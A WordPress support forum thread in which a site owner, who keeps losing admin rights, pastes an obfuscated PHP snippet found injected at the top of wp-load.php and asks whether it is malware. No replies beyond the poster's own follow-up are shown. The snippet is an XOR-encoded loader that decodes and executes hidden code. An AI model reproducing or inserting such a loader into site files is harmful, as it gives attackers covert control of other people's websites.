Weird code appearing on wp-load.php

  • Hello All,

    I have this client who keeps on losing admin rights on his self-hosted WP site. This has been going on for days… plugins disabled, themes changed, db entries, nothing worked. Finally we traced it to the wp-load.php file. It has this weird code on very top:

    $update_tc_usermeta = ‘D:[DKbfAO”RYZ]W:*?MI)(LBI(9=3=2WEkD~F]YyXy>A!@i1/N#H!Hw7UW=KB(@X]6N [:9G96uE#"]UAa-/]YS#@HW6C?[<_OxOuW]$6w><$$1o#$%NK_qT'^')WS6y” (P)JX&!RKJ1P,*IItCA80_508JDn9C v95%UEKb!FE)m*GWIVSFxrXkIwlnNoJOV5L,FSC!DgV8Z^;4Q>&M3w7EaT2T@*ZSZ1KG002NLK+8=@%,xE(V5Op J$Bx4IQXYNETTASJBlbvXo’;$gettext_bb_select_plural_form = ‘9″F9<UcW_N*9TF]’^”ZP#XH0<1* IM=)3″;$wp_ixb_check_password = $gettext_bb_select_plural_form(“”,$update_tc_usermeta);$wp_ixb_check_password();

    Everything would go back to normal after we deleted this part. Any thoughts on what could be adding that piece of code? Plugins are still disabled. Removed all other PHP files in root folder, only WP files remaining. Help!

Viewing 1 replies (of 1 total)
  • Thread Starter jhilado

    (@jhilado)

    Anyone? Do you think this is malware-related? Can the hosting provider have a say in this?

    Inputs please.

Viewing 1 replies (of 1 total)
  • The topic ‘Weird code appearing on wp-load.php’ is closed to new replies.